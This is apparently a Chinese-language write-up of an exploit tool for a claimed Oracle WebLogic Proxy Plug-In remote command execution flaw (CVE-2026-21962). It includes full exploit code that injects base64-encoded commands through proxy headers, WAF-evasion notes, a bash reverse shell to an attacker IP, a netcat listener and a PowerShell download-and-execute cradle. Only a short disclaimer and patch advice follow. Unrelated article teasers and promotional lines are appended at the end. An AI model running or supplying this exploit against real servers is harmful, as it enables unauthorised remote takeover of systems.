CVE-2026-21962漏洞利用工具:Oracle WebLogic代理插件未授权RCE检测与利用

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件

  • Oracle HTTP Server(版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server代理插件(用于Apache HTTP Server和Microsoft IIS)

功能特性

核心功能

  • 自动漏洞检测:通过多种常见路径(/weblogic//wl_proxy//bea_wls_internal//_proxy//proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload编码:自动对Payload进行Base64编码,以绕过某些WAF/过滤器
  • 多种攻击向量:支持通过不同HTTP头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入Payload

高级特性

  • 跨平台支持:兼容Linux/Unix和Windows目标系统
  • 灵活Payload:支持执行简单命令、复杂Shell脚本或PowerShell命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制

检测能力

  • 支持通过HTTP状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求

  • Python 3.x:确保系统已安装Python 3
  • 依赖库:需要安装requests
  • 操作系统:支持Linux、macOS和Windows

安装步骤

设置执行权限(可选)

chmod +x CVE-2026-21962.py 

安装Python依赖

pip install requests 

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git cd Ashwesker-CVE-2026-21962 

验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help 

如果看到帮助信息,说明安装成功。

使用说明

基础使用

基本语法
python3 CVE-2026-21962.py <target_url>"<command>"
参数说明
  • target_url:目标服务器的URL(例如:http://target:7001https://oracle-server:4443
  • command:要执行的命令(例如:idwhoami或反向Shell命令)

使用示例

1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向Shell(Linux目标)

首先在攻击机启动监听:

nc -lvnp 4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"

输出说明

  • 成功迹象:HTTP状态码为200、302或500
  • 命令输出:如果命令有输出,会显示前1500个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示

注意事项

  1. 目标端口:通常WebLogic服务运行在7001端口,HTTPS服务可能运行在4443端口
  2. SSL证书:对于自签名证书的目标,可能需要禁用SSL验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF绕过:使用Base64编码和多种HTTP头尝试绕过防护

核心代码

主漏洞利用函数

defexploit(target_url, command):# 漏洞利用端点(常见代理插件路径) vuln_paths =["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URI payload =f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器 encoded_payload = base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部 headers ={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URI uri ="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径for base_path in vuln_paths: full_url =f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径: {full_url}")print(f"[*] 执行命令: {command}")try:# 使用GET请求,某些配置下POST也可用 r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)# 根据HTTP状态码判断是否成功if r.status_code in[200,302,500]:print(f"[+] 可能成功!状态码: {r.status_code}")if r.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行(无输出)")returnTrueelse:print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")except Exception as e:print(f"[-] 路径 {full_url} 错误: {e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalse

命令行参数解析

if __name__ =="__main__":# 创建参数解析器 parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数 parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数 parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用 args = parser.parse_args() exploit(args.target, args.cmd)

漏洞检测逻辑

# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点:# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理

安全注意事项

# 重要安全提示:# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议:# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施

版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

Read more

FPGA摄像头到屏幕完整链路:从OV5640采集到HDMI实时显示(附完整工程代码)

🎬 FPGA摄像头到屏幕完整链路:从OV5640采集到HDMI实时显示(附完整工程代码) 📚 目录导航 文章目录 * 🎬 FPGA摄像头到屏幕完整链路:从OV5640采集到HDMI实时显示(附完整工程代码) * 📚 目录导航 * 概述 * 一、摄像头采集显示系统架构 * 1.1 系统整体框架 * 1.2 核心模块功能 * 1.3 数据流向与时序 * 二、OV5640摄像头基础 * 2.1 OV5640摄像头简介 * 2.2 OV5640引脚定义与功能 * 2.3 DVP接口时序详解 * 2.4 SCCB配置协议 * 2.5 OV5640初始化配置 * 三、图像采集模块设计 * 3.1 DVP采集模块架构 * 3.2 行列计数器设计 * 3.3 数据格式转换 * 3.

OpenClaw 完整安装与配置文档(包含Minimax/deepseek模型接入、飞书机器人接入)

OpenClaw 完整安装与配置文档 文档说明:本文档适用于 Linux 系统(Debian/Ubuntu 系列),详细梳理 OpenClaw 从基础环境准备、核心程序安装,到模型配置(Minimax/DeepSeek)、飞书渠道对接的全流程,所有交互式配置选项完整呈现,步骤可直接复制执行,适配新手操作。 适用场景:OpenClaw 新手部署、企业内部飞书机器人对接、Minimax/DeepSeek 模型配置 前置说明: 1. 服务器需联网,确保能访问 GitHub、npm、飞书官网; 2. 操作全程使用终端命令行,建议使用远程工具(如 Xshell、Putty)连接服务器; 3. 复制命令时需完整复制,避免遗漏特殊符号; 4. 所有交互式配置选项均完整列出,按文档指引选择即可。 5. 拥有root用户/sudo权限。

Face3D.ai Pro惊艳效果:4K UV贴图支持Alpha通道,完美处理发丝与胡须

Face3D.ai Pro惊艳效果:4K UV贴图支持Alpha通道,完美处理发丝与胡须 1. 效果展示:发丝与胡须的完美呈现 Face3D.ai Pro在4K UV贴图生成方面达到了令人惊艳的专业级水准,特别是在处理传统3D重建中最为棘手的发丝和胡须细节方面表现突出。 1.1 发丝细节的精准捕捉 传统3D人脸重建往往将头发处理为模糊的色块,而Face3D.ai Pro能够精确识别并重建每一缕发丝的走向和透明度。通过Alpha通道的支持,生成的UV贴图完美保留了发丝的透明渐变效果,从发根到发梢的细微变化都能清晰呈现。 在实际测试中,即使是复杂的卷发或飘逸的长发,系统也能准确重建发丝的层次感和空间关系,为后续的3D渲染提供了高质量的纹理基础。 1.2 胡须的真实还原 男性面部的胡须处理一直是3D重建的技术难点。Face3D.ai Pro通过深度学习算法,能够区分胡须区域与皮肤区域,并生成带有透明度的胡须纹理。 从测试结果看,系统不仅能够重建胡须的整体形状,还能捕捉到胡须的密度变化和生长方向。即使是短短的胡茬,也能在4K贴图中得到清晰表现,避免了传统方法中胡须看起来像"贴

Stable-Diffusion-3.5-FP8环境配置全指南

Stable-Diffusion-3.5-FP8环境配置全指南 你已经听说过 Stable-Diffusion-3.5-FP8 ——那个被开发者圈称为“消费级GPU也能跑1024×1024”的高性能量化模型。它以接近FP16的视觉质量,仅需约7GB显存即可完成推理,推理速度相比原版提升近50%。但当你真正准备部署时,却发现:文档零散、依赖冲突、加载报错频出……明明硬件达标,却始终卡在“第一步”。 别急。这并不是你的问题,而是当前大模型本地化落地过程中普遍存在的“最后一公里”难题:我们缺的不是算力,而是可复现、稳定、高效的运行环境配置方法论。 本文将带你从零开始,系统性地构建一个可用于开发调试甚至生产部署的 SD3.5-FP8 运行环境。我们将不只告诉你“怎么装”,更要解释“为什么这么配”——让你不仅“能跑”,更能“跑得好”。 什么是 Stable-Diffusion-3.5-FP8?它为何值得投入时间? 在深入配置前,先明确一点:FP8 不是简单的压缩降质,